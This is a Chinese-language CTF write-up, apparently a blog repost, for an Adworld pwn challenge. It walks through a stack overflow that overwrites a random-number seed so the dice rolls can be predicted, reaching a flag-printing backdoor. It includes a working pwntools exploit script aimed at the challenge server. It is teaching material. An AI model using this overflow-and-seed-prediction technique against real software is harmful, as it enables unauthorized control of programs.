pwn刷题num11-----覆盖栈上数据修改程序执行流程

pwn刷题num11-----覆盖栈上数据修改程序执行流程,第1张

攻防世界pwn进阶区


首先查保护–>看链接类型–>赋予程序可执行权限–>试运行

64位,小端序
开启全部RELRO---got表不可写
未开启canary保护---存在栈溢出
开启NX保护----堆栈不可执行
开启PIE----内存地址随机化
动态链接

ida一下
查看主函数

memset(buf, 0, 0x30uLL);意思是建立0x30大小的buf区,并用0填充
 *(_QWORD *)seed = time(0LL);使每次程序运行产生的随机数种子都不同

查看sub_A20();函数

让我们输入v1,并与v2(随机数)比较,相等程序就会返回1,否则返回0,并且v1和v2范围都是1~6
在查看 sub_B28((__int64)buf);函数

后门函数,执行这个函数可获得flag

执行后门函数的条件是要v8等于50,而每次我们所输入v1等于v2,v8就加1,所以要输入50次正确的随机数
查看buf的stack区

思路

buf距离seed(随机数种子)0x50-0x10=0x40字节,我们可以通过覆盖seed为我们想要的数字(下面覆盖为1),
然后通过调用题目中给的libc文件,调用rand()函数,生成随机数,循环50次,输入程序中就可以将使v8为50,获得flag。

exp

from pwn import *
from ctypes import *
context(os = 'linux',endian = 'little',log_level = 'debug',arch = 'amd64')
sh = remote('111.200.241.244',58461)
libc = cdll.LoadLibrary('libc.so.6')		#加载libc文件
seed = 1  #设置随机数种子为1
payload = flat(['a' * 0x40,seed])	#覆盖随机数种子
sh.sendline(payload)
for i in range (50):
	sh.recvuntil('Give me the point(1~6): ')
	sh.sendline(str(libc.rand() % 6 + 1))
sh.interactive()

这里使用了python模块ctypes中的 cdll.LoadLibrary()方法来加载libc文件,从而调用libc中的rand()函数,生成随机数

运行获得flag


附上
python模块ctypes中的 cdll.LoadLibrary()用法

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/723755.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-26
下一篇 2022-04-26

发表评论

登录后才能评论

评论列表(0条)

保存